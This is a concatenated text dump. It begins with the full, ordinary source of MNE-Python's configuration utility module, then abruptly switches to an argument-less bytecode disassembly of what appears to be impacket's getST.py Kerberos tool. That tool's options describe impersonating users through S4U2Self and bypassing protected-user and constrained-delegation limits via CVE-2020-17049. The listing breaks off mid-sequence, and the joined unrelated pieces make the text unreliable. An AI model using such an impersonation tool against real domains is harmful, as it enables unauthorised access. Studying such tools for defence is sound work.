"""The config functions.""" import atexit import json import multiprocessing import os import os.path as op import platform import re import shutil import subprocess import sys import tempfile from functools import lru_cache, partial from importlib import import_module from pathlib import Path from urllib.error import URLError from urllib.request import urlopen from packaging.version import parse from ._logging import logger, warn from .check import _check_fname, _check_option, _check_qt_version, _validate_type from .docs import fill_doc from .misc import _pl _temp_home_dir = None def set_cache_dir(cache_dir): """Set the directory to be used for temporary file storage. This directory is used by joblib to store memmapped arrays, which reduces memory requirements and speeds up parallel computation. Parameters ---------- cache_dir : str or None Directory to use for temporary file storage. None disables temporary file storage. """ if cache_dir is not None and not op.exists(cache_dir): raise OSError("Directory %s does not exist" % cache_dir) set_config("MNE_CACHE_DIR", cache_dir, set_env=False) def set_memmap_min_size(memmap_min_size): """Set the minimum size for memmaping of arrays for parallel processing. Parameters ---------- memmap_min_size : str or None Threshold on the minimum size of arrays that triggers automated memory mapping for parallel processing, e.g., '1M' for 1 megabyte. Use None to disable memmaping of large arrays. """ _validate_type(memmap_min_size, (str, None), "memmap_min_size") if memmap_min_size is not None: if memmap_min_size[-1] not in ["K", "M", "G"]: raise ValueError( "The size has to be given in kilo-, mega-, or " f"gigabytes, e.g., 100K, 500M, 1G, got {repr(memmap_min_size)}" ) set_config("MNE_MEMMAP_MIN_SIZE", memmap_min_size, set_env=False) _known_config_types = { "MNE_3D_OPTION_ANTIALIAS": ( "bool, whether to use full-screen antialiasing in 3D plots" ), "MNE_3D_OPTION_DEPTH_PEELING": "bool, whether to use depth peeling in 3D plots", "MNE_3D_OPTION_MULTI_SAMPLES": ( "int, number of samples to use for full-screen antialiasing" ), "MNE_3D_OPTION_SMOOTH_SHADING": ("bool, whether to use smooth shading in 3D plots"), "MNE_3D_OPTION_THEME": ("str, the color theme (light or dark) to use for 3D plots"), "MNE_BROWSE_RAW_SIZE": ( "tuple, width and height of the raw browser window (in inches)" ), "MNE_BROWSER_BACKEND": ( "str, the backend to use for the MNE Browse Raw window (qt or matplotlib)" ), "MNE_BROWSER_OVERVIEW_MODE": ( "str, the overview mode to use in the MNE Browse Raw window )" "(see mne.viz.plot_raw for valid options)" ), "MNE_BROWSER_PRECOMPUTE": ( "bool, whether to precompute raw data in the MNE Browse Raw window" ), "MNE_BROWSER_THEME": "str, the color theme (light or dark) to use for the browser", "MNE_BROWSER_USE_OPENGL": ( "bool, whether to use OpenGL for rendering in the MNE Browse Raw window" ), "MNE_CACHE_DIR": "str, path to the cache directory for parallel execution", "MNE_COREG_ADVANCED_RENDERING": ( "bool, whether to use advanced OpenGL rendering in mne coreg" ), "MNE_COREG_COPY_ANNOT": ( "bool, whether to copy the annotation files during warping" ), "MNE_COREG_FULLSCREEN": "bool, whether to use full-screen mode in mne coreg", "MNE_COREG_GUESS_MRI_SUBJECT": ( "bool, whether to guess the MRI subject in mne coreg" ), "MNE_COREG_HEAD_HIGH_RES": ( "bool, whether to use high-res head surface in mne coreg" ), "MNE_COREG_HEAD_OPACITY": ("bool, the head surface opacity to use in mne coreg"), "MNE_COREG_HEAD_INSIDE": ( "bool, whether to add an opaque inner scalp head surface to help " "occlude points behind the head in mne coreg" ), "MNE_COREG_INTERACTION": ( "str, interaction style in mne coreg (trackball or terrain)" ), "MNE_COREG_MARK_INSIDE": ( "bool, whether to mark points inside the head surface in mne coreg" ), "MNE_COREG_PREPARE_BEM": ( "bool, whether to prepare the BEM solution after warping in mne coreg" ), "MNE_COREG_ORIENT_TO_SURFACE": ( "bool, whether to orient the digitization markers to the head surface " "in mne coreg" ), "MNE_COREG_SCALE_LABELS": ( "bool, whether to scale the MRI labels during warping in mne coreg" ), "MNE_COREG_SCALE_BY_DISTANCE": ( "bool, whether to scale the digitization markers by their distance from " "the scalp in mne coreg" ), "MNE_COREG_SCENE_SCALE": ( "float, the scale factor of the 3D scene in mne coreg (default 0.16)" ), "MNE_COREG_WINDOW_HEIGHT": "int, window height for mne coreg", "MNE_COREG_WINDOW_WIDTH": "int, window width for mne coreg", "MNE_COREG_SUBJECTS_DIR": "str, path to the subjects directory for mne coreg", "MNE_CUDA_DEVICE": "int, CUDA device to use for GPU processing", "MNE_DATA": "str, default data directory", "MNE_DATASETS_BRAINSTORM_PATH": "str, path for brainstorm data", "MNE_DATASETS_EEGBCI_PATH": "str, path for EEGBCI data", "MNE_DATASETS_EPILEPSY_ECOG_PATH": "str, path for epilepsy_ecog data", "MNE_DATASETS_HF_SEF_PATH": "str, path for HF_SEF data", "MNE_DATASETS_MEGSIM_PATH": "str, path for MEGSIM data", "MNE_DATASETS_MISC_PATH": "str, path for misc data", "MNE_DATASETS_MTRF_PATH": "str, path for MTRF data", "MNE_DATASETS_SAMPLE_PATH": "str, path for sample data", "MNE_DATASETS_SOMATO_PATH": "str, path for somato data", "MNE_DATASETS_MULTIMODAL_PATH": "str, path for multimodal data", "MNE_DATASETS_FNIRS_MOTOR_PATH": "str, path for fnirs_motor data", "MNE_DATASETS_OPM_PATH": "str, path for OPM data", "MNE_DATASETS_SPM_FACE_DATASETS_TESTS": "str, path for spm_face data", "MNE_DATASETS_SPM_FACE_PATH": "str, path for spm_face data", "MNE_DATASETS_TESTING_PATH": "str, path for testing data", "MNE_DATASETS_VISUAL_92_CATEGORIES_PATH": "str, path for visual_92_categories data", "MNE_DATASETS_KILOWORD_PATH": "str, path for kiloword data", "MNE_DATASETS_FIELDTRIP_CMC_PATH": "str, path for fieldtrip_cmc data", "MNE_DATASETS_PHANTOM_KIT_PATH": "str, path for phantom_kit data", "MNE_DATASETS_PHANTOM_4DBTI_PATH": "str, path for phantom_4dbti data", "MNE_DATASETS_PHANTOM_KERNEL_PATH": "str, path for phantom_kernel data", "MNE_DATASETS_LIMO_PATH": "str, path for limo data", "MNE_DATASETS_REFMEG_NOISE_PATH": "str, path for refmeg_noise data", "MNE_DATASETS_SSVEP_PATH": "str, path for ssvep data", "MNE_DATASETS_ERP_CORE_PATH": "str, path for erp_core data", "MNE_FORCE_SERIAL": "bool, force serial rather than parallel execution", "MNE_LOGGING_LEVEL": ( "str or int, controls the level of verbosity of any function " "decorated with @verbose. See " "https://mne.tools/stable/auto_tutorials/intro/50_configure_mne.html#logging" ), "MNE_MEMMAP_MIN_SIZE": ( "str, threshold on the minimum size of arrays passed to the workers that " "triggers automated memory mapping, e.g., 1M or 0.5G" ), "MNE_REPR_HTML": ( "bool, represent some of our objects with rich HTML in a notebook " "environment" ), "MNE_SKIP_NETWORK_TESTS": ( "bool, used in a test decorator (@requires_good_network) to skip " "tests that include large downloads" ), "MNE_SKIP_TESTING_DATASET_TESTS": ( "bool, used in test decorators (@requires_spm_data, " "@requires_bstraw_data) to skip tests that require specific datasets" ), "MNE_STIM_CHANNEL": "string, the default channel name for mne.find_events", "MNE_TQDM": ( 'str, either "tqdm", "tqdm.auto", or "off". Controls presence/absence ' "of progress bars" ), "MNE_USE_CUDA": "bool, use GPU for filtering/resampling", "MNE_USE_NUMBA": ( "bool, use Numba just-in-time compiler for some of our intensive " "computations" ), "SUBJECTS_DIR": "path-like, directory of freesurfer MRI files for each subject", } _known_config_wildcards = ( "MNE_STIM_CHANNEL", # can have multiple stim channels "MNE_DATASETS_FNIRS", # mne-nirs "MNE_NIRS", # mne-nirs "MNE_KIT2FIFF", # mne-kit-gui "MNE_ICALABEL", # mne-icalabel ) def _load_config(config_path, raise_error=False): """Safely load a config file.""" with open(config_path, "r") as fid: try: config = json.load(fid) except ValueError: msg = ( "The MNE-Python config file (%s) is not a valid JSON " "file and might be corrupted" % config_path ) if raise_error: raise RuntimeError(msg) warn(msg) config = dict() return config def get_config_path(home_dir=None): r"""Get path to standard mne-python config file. Parameters ---------- home_dir : str | None The folder that contains the .mne config folder. If None, it is found automatically. Returns ------- config_path : str The path to the mne-python configuration file. On windows, this will be '%USERPROFILE%\.mne\mne-python.json'. On every other system, this will be ~/.mne/mne-python.json. """ val = op.join(_get_extra_data_path(home_dir=home_dir), "mne-python.json") return val def get_config(key=None, default=None, raise_error=False, home_dir=None, use_env=True): """Read MNE-Python preferences from environment or config file. Parameters ---------- key : None | str The preference key to look for. The os environment is searched first, then the mne-python config file is parsed. If None, all the config parameters present in environment variables or the path are returned. If key is an empty string, a list of all valid keys (but not values) is returned. default : str | None Value to return if the key is not found. raise_error : bool If True, raise an error if the key is not found (instead of returning default). home_dir : str | None The folder that contains the .mne config folder. If None, it is found automatically. use_env : bool If True, consider env vars, if available. If False, only use MNE-Python configuration file values. .. versionadded:: 0.18 Returns ------- value : dict | str | None The preference key value. See Also -------- set_config """ _validate_type(key, (str, type(None)), "key", "string or None") if key == "": return _known_config_types.copy() if use_env and key is not None and key in os.environ: return os.environ[key] config_path = get_config_path(home_dir=home_dir) if not op.isfile(config_path): config = {} else: config = _load_config(config_path) if key is None: if use_env: env_keys = set(config).union(_known_config_types).intersection(os.environ) config.update({key: os.environ[key] for key in env_keys}) return config elif raise_error is True and key not in config: loc_env = "the environment or in the " if use_env else "" meth_env = ( ('either os.environ["%s"] = VALUE for a temporary ' "solution, or " % key) if use_env else "" ) extra_env = ( " You can also set the environment variable before " "running python." if use_env else "" ) meth_file = ( 'mne.utils.set_config("%s", VALUE, set_env=True) ' "for a permanent one" % key ) raise KeyError( 'Key "%s" not found in %s' "the mne-python config file (%s). " "Try %s%s.%s" % (key, loc_env, config_path, meth_env, meth_file, extra_env) ) else: return config.get(key, default) def set_config(key, value, home_dir=None, set_env=True): """Set a MNE-Python preference key in the config file and environment. Parameters ---------- key : str The preference key to set. value : str | None The value to assign to the preference key. If None, the key is deleted. home_dir : str | None The folder that contains the .mne config folder. If None, it is found automatically. set_env : bool If True (default), update :data:`os.environ` in addition to updating the MNE-Python config file. See Also -------- get_config """ _validate_type(key, "str", "key") _validate_type(value, (str, "path-like", type(None)), "value") if value is not None: value = str(value) if key not in _known_config_types and not any( key.startswith(k) for k in _known_config_wildcards ): warn('Setting non-standard config type: "%s"' % key) config_path = get_config_path(home_dir=home_dir) if op.isfile(config_path): config = _load_config(config_path, raise_error=True) else: config = dict() logger.info( "Attempting to create new mne-python configuration " "file:\n%s" % config_path ) if value is None: config.pop(key, None) if set_env and key in os.environ: del os.environ[key] else: config[key] = value if set_env: os.environ[key] = value if key == "MNE_BROWSER_BACKEND": from ..viz._figure import set_browser_backend set_browser_backend(value) directory = op.dirname(config_path) if not op.isdir(directory): os.mkdir(directory) with open(config_path, "w") as fid: json.dump(config, fid, sort_keys=True, indent=0) def _get_extra_data_path(home_dir=None): """Get path to extra data (config, tables, etc.).""" global _temp_home_dir if home_dir is None: home_dir = os.environ.get("_MNE_FAKE_HOME_DIR") if home_dir is None: if "nt" == os.name.lower(): APPDATA_DIR = os.getenv("APPDATA") USERPROFILE_DIR = os.getenv("USERPROFILE") if APPDATA_DIR is not None and op.isdir( op.join(APPDATA_DIR, ".mne") ): # backward-compat home_dir = APPDATA_DIR elif USERPROFILE_DIR is not None: home_dir = USERPROFILE_DIR else: raise FileNotFoundError( "The USERPROFILE environment variable is not set, cannot " "determine the location of the MNE-Python configuration " "folder" ) del APPDATA_DIR, USERPROFILE_DIR else: if os.getenv("MNE_DONTWRITE_HOME", "") == "true": if _temp_home_dir is None: _temp_home_dir = tempfile.mkdtemp() atexit.register( partial(shutil.rmtree, _temp_home_dir, ignore_errors=True) ) home_dir = _temp_home_dir else: home_dir = os.path.expanduser("~") if home_dir is None: raise ValueError( "mne-python config file path could " "not be determined, please report this " "error to mne-python developers" ) return op.join(home_dir, ".mne") def get_subjects_dir(subjects_dir=None, raise_error=False): """Safely use subjects_dir input to return SUBJECTS_DIR. Parameters ---------- subjects_dir : path-like | None If a value is provided, return subjects_dir. Otherwise, look for SUBJECTS_DIR config and return the result. raise_error : bool If True, raise a KeyError if no value for SUBJECTS_DIR can be found (instead of returning None). Returns ------- value : Path | None The SUBJECTS_DIR value. """ if subjects_dir is None: subjects_dir = get_config("SUBJECTS_DIR", raise_error=raise_error) if subjects_dir is not None: subjects_dir = _check_fname( fname=subjects_dir, overwrite="read", must_exist=True, need_dir=True, name="subjects_dir", ) return subjects_dir @fill_doc def _get_stim_channel(stim_channel, info, raise_error=True): """Determine the appropriate stim_channel. First, 'MNE_STIM_CHANNEL', 'MNE_STIM_CHANNEL_1', 'MNE_STIM_CHANNEL_2', etc. are read. If these are not found, it will fall back to 'STI 014' if present, then fall back to the first channel of type 'stim', if present. Parameters ---------- stim_channel : str | list of str | None The stim channel selected by the user. %(info_not_none)s Returns ------- stim_channel : list of str The name of the stim channel(s) to use """ from .._fiff.pick import pick_types if stim_channel is not None: if not isinstance(stim_channel, list): _validate_type(stim_channel, "str", "Stim channel") stim_channel = [stim_channel] for channel in stim_channel: _validate_type(channel, "str", "Each provided stim channel") return stim_channel stim_channel = list() ch_count = 0 ch = get_config("MNE_STIM_CHANNEL") while ch is not None and ch in info["ch_names"]: stim_channel.append(ch) ch_count += 1 ch = get_config("MNE_STIM_CHANNEL_%d" % ch_count) if ch_count > 0: return stim_channel if "STI101" in info["ch_names"]: # combination channel for newer systems return ["STI101"] if "STI 014" in info["ch_names"]: # for older systems return ["STI 014"] stim_channel = pick_types(info, meg=False, ref_meg=False, stim=True) if len(stim_channel) == 0 and raise_error: raise ValueError( "No stim channels found. Consider specifying them " "manually using the 'stim_channel' parameter." ) stim_channel = [info["ch_names"][ch_] for ch_ in stim_channel] return stim_channel def _get_root_dir(): """Get as close to the repo root as possible.""" root_dir = Path(__file__).parents[1] up_dir = root_dir.parent if (up_dir / "setup.py").is_file() and all( (up_dir / x).is_dir() for x in ("mne", "examples", "doc") ): root_dir = up_dir return root_dir def _get_numpy_libs(): bad_lib = "unknown linalg bindings" try: from threadpoolctl import threadpool_info except Exception as exc: return bad_lib + f" (threadpoolctl module not found: {exc})" pools = threadpool_info() rename = dict( openblas="OpenBLAS", mkl="MKL", ) for pool in pools: if pool["internal_api"] in ("openblas", "mkl"): return ( f'{rename[pool["internal_api"]]} ' f'{pool["version"]} with ' f'{pool["num_threads"]} thread{_pl(pool["num_threads"])}' ) return bad_lib _gpu_cmd = """\ from pyvista import GPUInfo; \ gi = GPUInfo(); \ print(gi.version); \ print(gi.renderer)""" @lru_cache(maxsize=1) def _get_gpu_info(): proc = subprocess.run( [sys.executable, "-c", _gpu_cmd], check=False, capture_output=True ) out = proc.stdout.decode().strip().replace("\r", "").split("\n") if proc.returncode or len(out) != 2: return None, None return out def sys_info( fid=None, show_paths=False, *, dependencies="user", unicode=True, check_version=True, ): """Print system information. This function prints system information useful when triaging bugs. Parameters ---------- fid : file-like | None The file to write to. Will be passed to :func:`print()`. Can be None to use :data:`sys.stdout`. show_paths : bool If True, print paths for each module. dependencies : 'user' | 'developer' Show dependencies relevant for users (default) or for developers (i.e., output includes additional dependencies). unicode : bool Include Unicode symbols in output. .. versionadded:: 0.24 check_version : bool | float If True (default), attempt to check that the version of MNE-Python is up to date with the latest release on GitHub. Can be a float to give a different timeout (in sec) from the default (2 sec). .. versionadded:: 1.6 """ _validate_type(dependencies, str) _check_option("dependencies", dependencies, ("user", "developer")) _validate_type(check_version, (bool, "numeric"), "check_version") ljust = 24 if dependencies == "developer" else 21 platform_str = platform.platform() if platform.system() == "Darwin" and sys.version_info[:2] < (3, 8): macos_ver = platform.mac_ver()[0] macos_architecture = re.findall("Darwin-.*?-(.*)", platform_str) if macos_architecture: macos_architecture = macos_architecture[0] platform_str = f"macOS-{macos_ver}-{macos_architecture}" del macos_ver, macos_architecture out = partial(print, end="", file=fid) out("Platform".ljust(ljust) + platform_str + "\n") out("Python".ljust(ljust) + str(sys.version).replace("\n", " ") + "\n") out("Executable".ljust(ljust) + sys.executable + "\n") out("CPU".ljust(ljust) + f"{platform.processor()} ") out(f"({multiprocessing.cpu_count()} cores)\n") out("Memory".ljust(ljust)) try: import psutil except ImportError: out('Unavailable (requires "psutil" package)') else: out(f"{psutil.virtual_memory().total / float(2 ** 30):0.1f} GB\n") out("\n") ljust -= 3 # account for +/- symbols libs = _get_numpy_libs() unavailable = [] use_mod_names = ( "# Core", "mne", "numpy", "scipy", "matplotlib", "pooch", "jinja2", "", "# Numerical (optional)", "sklearn", "numba", "nibabel", "nilearn", "dipy", "openmeeg", "cupy", "pandas", "", "# Visualization (optional)", "pyvista", "pyvistaqt", "vtk", "qtpy", "ipympl", "pyqtgraph", "mne-qt-browser", "ipywidgets", "trame_client", "trame_server", "trame_vtk", "trame_vuetify", "", "# Ecosystem (optional)", "mne-bids", "mne-nirs", "mne-features", "mne-connectivity", "mne-icalabel", "mne-bids-pipeline", "", ) if dependencies == "developer": use_mod_names += ( "# Testing", "pytest", "nbclient", "numpydoc", "flake8", "pydocstyle", "", "# Documentation", "sphinx", "sphinx-gallery", "pydata-sphinx-theme", "", ) try: unicode = unicode and (sys.stdout.encoding.lower().startswith("utf")) except Exception: # in case someone overrides sys.stdout in an unsafe way unicode = False mne_version_good = True for mi, mod_name in enumerate(use_mod_names): if mod_name == "": # break if unavailable: out("└☐ " if unicode else " - ") out("unavailable".ljust(ljust)) out(f"{', '.join(unavailable)}\n") unavailable = [] if mi != len(use_mod_names) - 1: out("\n") continue elif mod_name.startswith("# "): # header mod_name = mod_name.replace("# ", "") out(f"{mod_name}\n") continue pre = "├" last = use_mod_names[mi + 1] == "" and not unavailable if last: pre = "└" try: mod = import_module(mod_name.replace("-", "_")) except Exception: unavailable.append(mod_name) else: mark = "☑" if unicode else "+" mne_extra = "" if mod_name == "mne" and check_version: timeout = 2.0 if check_version is True else float(check_version) mne_version_good, mne_extra = _check_mne_version(timeout) if mne_version_good is None: mne_version_good = True elif not mne_version_good: mark = "☒" if unicode else "X" out(f"{pre}{mark} " if unicode else f" {mark} ") out(f"{mod_name}".ljust(ljust)) if mod_name == "vtk": vtk_version = mod.vtkVersion() for attr in ("GetVTKVersionFull", "GetVTKVersion"): if hasattr(vtk_version, attr): version = getattr(vtk_version, attr)() if version != "": out(version) break else: out("unknown") else: out(mod.__version__.lstrip("v")) if mod_name == "numpy": out(f" ({libs})") elif mod_name == "qtpy": version, api = _check_qt_version(return_api=True) out(f" ({api}={version})") elif mod_name == "matplotlib": out(f" (backend={mod.get_backend()})") elif mod_name == "pyvista": version, renderer = _get_gpu_info() if version is None: out(" (OpenGL unavailable)") else: out(f" (OpenGL {version} via {renderer})") elif mod_name == "mne": out(f" ({mne_extra})") if show_paths: if last: pre = " " elif unicode: pre = "│ " else: pre = " | " out(f'\n{pre}{" " * ljust}{op.dirname(mod.__file__)}') out("\n") if not mne_version_good: out( "\nTo update to the latest supported release version to get bugfixes and " "improvements, visit " "https://mne.tools/stable/install/updating.html\n" ) def _get_latest_version(timeout): url = "https://api.github.com/repos/mne-tools/mne-python/releases/latest" try: with urlopen(url, timeout=timeout) as f: # nosec response = json.load(f) except (URLError, TimeoutError) as err: if "SSL" in str(err): return "SSL error" elif "timed out" in str(err): return f"timeout after {timeout} sec" else: return f"unknown error: {str(err)}" else: return response["tag_name"].lstrip("v") or "version unknown" def _check_mne_version(timeout): rel_ver = _get_latest_version(timeout) if not rel_ver[0].isnumeric(): return None, (f"unable to check for latest version on GitHub, {rel_ver}") rel_ver = parse(rel_ver) this_ver = parse(import_module("mne").__version__) if this_ver > rel_ver: return True, f"devel, latest release is {rel_ver}" if this_ver == rel_ver: return True, "latest release" else: return False, f"outdated, release {rel_ver} is available!"
data/mne-1.6.1/mne/utils/config.py
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LOAD_CONST 0 LOAD_CONST ('division',) IMPORT_NAME __future__ IMPORT_FROM division STORE_NAME division POP_TOP LOAD_CONST 0 LOAD_CONST ('print_function',) IMPORT_NAME __future__ IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME argparse STORE_NAME argparse LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST None IMPORT_NAME logging STORE_NAME logging LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME random STORE_NAME random LOAD_CONST 0 LOAD_CONST None IMPORT_NAME struct STORE_NAME struct LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST ('hexlify', 'unhexlify') IMPORT_NAME binascii IMPORT_FROM hexlify STORE_NAME hexlify IMPORT_FROM unhexlify STORE_NAME unhexlify POP_TOP LOAD_CONST 0 LOAD_CONST ('b',) IMPORT_NAME six IMPORT_FROM b STORE_NAME b POP_TOP LOAD_CONST 0 LOAD_CONST ('decoder', 'encoder') IMPORT_NAME pyasn1.codec.der IMPORT_FROM decoder STORE_NAME decoder IMPORT_FROM encoder STORE_NAME encoder POP_TOP LOAD_CONST 0 LOAD_CONST ('noValue',) IMPORT_NAME pyasn1.type.univ IMPORT_FROM noValue STORE_NAME noValue POP_TOP LOAD_CONST 0 LOAD_CONST ('version',) IMPORT_NAME impacket IMPORT_FROM version STORE_NAME version POP_TOP LOAD_CONST 0 LOAD_CONST ('logger',) IMPORT_NAME impacket.examples IMPORT_FROM logger STORE_NAME logger POP_TOP LOAD_CONST 0 LOAD_CONST ('parse_credentials',) IMPORT_NAME impacket.examples.utils IMPORT_FROM parse_credentials STORE_NAME parse_credentials POP_TOP LOAD_CONST 0 LOAD_CONST ('constants',) IMPORT_NAME impacket.krb5 IMPORT_FROM constants STORE_NAME constants POP_TOP LOAD_CONST 0 LOAD_CONST ('AP_REQ', 'AS_REP', 'TGS_REQ', 'Authenticator', 'TGS_REP', 'seq_set', 'seq_set_iter', 'PA_FOR_USER_ENC', 'Ticket', 'EncTGSRepPart', 'PA_PAC_OPTIONS', 'EncTicketPart') IMPORT_NAME impacket.krb5.asn1 IMPORT_FROM AP_REQ STORE_NAME AP_REQ IMPORT_FROM AS_REP STORE_NAME AS_REP IMPORT_FROM TGS_REQ STORE_NAME TGS_REQ IMPORT_FROM Authenticator STORE_NAME Authenticator IMPORT_FROM TGS_REP STORE_NAME TGS_REP IMPORT_FROM seq_set STORE_NAME seq_set IMPORT_FROM seq_set_iter STORE_NAME seq_set_iter IMPORT_FROM PA_FOR_USER_ENC STORE_NAME PA_FOR_USER_ENC IMPORT_FROM Ticket STORE_NAME TicketAsn1 IMPORT_FROM EncTGSRepPart STORE_NAME EncTGSRepPart IMPORT_FROM PA_PAC_OPTIONS STORE_NAME PA_PAC_OPTIONS IMPORT_FROM EncTicketPart STORE_NAME EncTicketPart POP_TOP LOAD_CONST 0 LOAD_CONST ('CCache',) IMPORT_NAME impacket.krb5.ccache IMPORT_FROM CCache STORE_NAME CCache POP_TOP LOAD_CONST 0 LOAD_CONST ('Key', '_enctype_table', '_HMACMD5', '_AES256CTS', 'Enctype') IMPORT_NAME impacket.krb5.crypto IMPORT_FROM Key STORE_NAME Key IMPORT_FROM _enctype_table STORE_NAME _enctype_table IMPORT_FROM _HMACMD5 STORE_NAME _HMACMD5 IMPORT_FROM _AES256CTS STORE_NAME _AES256CTS IMPORT_FROM Enctype STORE_NAME Enctype POP_TOP LOAD_CONST 0 LOAD_CONST ('TicketFlags', 'encodeFlags') IMPORT_NAME impacket.krb5.constants IMPORT_FROM TicketFlags STORE_NAME TicketFlags IMPORT_FROM encodeFlags STORE_NAME encodeFlags POP_TOP LOAD_CONST 0 LOAD_CONST ('getKerberosTGS', 'getKerberosTGT', 'sendReceive') IMPORT_NAME impacket.krb5.kerberosv5 IMPORT_FROM getKerberosTGS STORE_NAME getKerberosTGS IMPORT_FROM getKerberosTGT STORE_NAME getKerberosTGT IMPORT_FROM sendReceive STORE_NAME sendReceive POP_TOP LOAD_CONST 0 LOAD_CONST ('Principal', 'KerberosTime', 'Ticket') IMPORT_NAME impacket.krb5.types IMPORT_FROM Principal STORE_NAME Principal IMPORT_FROM KerberosTime STORE_NAME KerberosTime IMPORT_FROM Ticket STORE_NAME Ticket POP_TOP LOAD_CONST 0 LOAD_CONST ('compute_nthash',) IMPORT_NAME impacket.ntlm IMPORT_FROM compute_nthash STORE_NAME compute_nthash POP_TOP LOAD_CONST 0 LOAD_CONST ('hexdump',) IMPORT_NAME impacket.winregistry IMPORT_FROM hexdump STORE_NAME hexdump POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object GETST at 0x7faac0274e40, file "f.py", line 43> LOAD_CONST 'GETST' MAKE_FUNCTION LOAD_CONST 'GETST' CALL_FUNCTION STORE_NAME GETST LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME print LOAD_NAME version LOAD_ATTR BANNER CALL_FUNCTION POP_TOP LOAD_NAME argparse LOAD_ATTR ArgumentParser LOAD_CONST True LOAD_CONST 'Given a password, hash or aesKey, it will request a Service Ticket and save it as ccache' LOAD_CONST ('add_help', 'description') CALL_FUNCTION STORE_NAME parser LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST 'identity' LOAD_CONST 'store' LOAD_CONST '[domain/]username[:password]' LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST '-spn' LOAD_CONST 'store' LOAD_CONST True LOAD_CONST 'SPN (service/server) of the target service the service ticket will be generated for' LOAD_CONST ('action', 'required', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST '-impersonate' LOAD_CONST 'store' LOAD_CONST 'target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified' LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST '-additional-ticket' LOAD_CONST 'store' LOAD_CONST 'ticket.ccache' LOAD_CONST 'include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only' LOAD_CONST ('action', 'metavar', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST '-ts' LOAD_CONST 'store_true' LOAD_CONST 'Adds timestamp to every logging output' LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST '-debug' LOAD_CONST 'store_true' LOAD_CONST 'Turn DEBUG output ON' LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_ATTR add_argument LOAD_CONST '-force-forwardable' LOAD_CONST 'store_true' LOAD_CONST 'Force the service ticket obtained through S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the specified -identity should be provided. This allows impresonation of protected users and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049' LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME parser LOAD_METHOD add_argument_group LOAD_CONST 'authentication' CALL_METHOD STORE_NAME group LOAD_NAME group LOAD_ATTR add_argument LOAD_CONST '-hashes' LOAD_CONST 'store' LOAD_CONST 'LMHASH:NTHASH' LOAD_CONST 'NTLM hashes, format is LMHASH:NTHASH' LOAD_CONST ('action', 'metavar', 'help') CALL_FUNCTION POP_TOP LOAD_NAME group LOAD_ATTR add_argument LOAD_CONST '-no-pass' LOAD_CONST 'store_true' LOAD_CONST "don't ask for password (useful for -k)" LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME group LOAD_ATTR add_argument LOAD_CONST '-k' LOAD_CONST 'store_true' LOAD_CONST 'Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line' LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_NAME group LOAD_ATTR add_argument LOAD_CONST '-aesKey' LOAD_CONST 'store' LOAD_CONST 'hex key' LOAD_CONST 'AES key to use for Kerberos Authentication (128 or 256 bits)' LOAD_CONST ('action', 'metavar', 'help') CALL_FUNCTION POP_TOP LOAD_NAME group LOAD_ATTR add_argument LOAD_CONST '-dc-ip' LOAD_CONST 'store' LOAD_CONST 'ip address' LOAD_CONST 'IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter' LOAD_CONST ('action', 'metavar', 'help') CALL_FUNCTION POP_TOP LOAD_NAME len LOAD_NAME sys LOAD_ATTR argv CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME parser LOAD_METHOD print_help CALL_METHOD POP_TOP LOAD_NAME print LOAD_CONST '\nExamples: ' CALL_FUNCTION POP_TOP LOAD_NAME print LOAD_CONST '\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n' CALL_FUNCTION POP_TOP LOAD_NAME print LOAD_CONST "\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked" CALL_FUNCTION POP_TOP LOAD_NAME sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_NAME parser LOAD_METHOD parse_args CALL_METHOD STORE_NAME options LOAD_NAME logger LOAD_METHOD init LOAD_NAME options LOAD_ATTR ts CALL_METHOD POP_TOP LOAD_NAME options LOAD_ATTR debug LOAD_CONST True COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME logging LOAD_METHOD getLogger CALL_METHOD LOAD_METHOD setLevel LOAD_NAME logging LOAD_ATTR DEBUG CALL_METHOD POP_TOP LOAD_NAME logging LOAD_METHOD debug LOAD_NAME version LOAD_METHOD getInstallationPath CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 758 LOAD_NAME logging LOAD_METHOD getLogger CALL_METHOD LOAD_METHOD setLevel LOAD_NAME logging LOAD_ATTR INFO CALL_METHOD POP_TOP LOAD_NAME parse_credentials LOAD_NAME options LOAD_ATTR identity CALL_FUNCTION 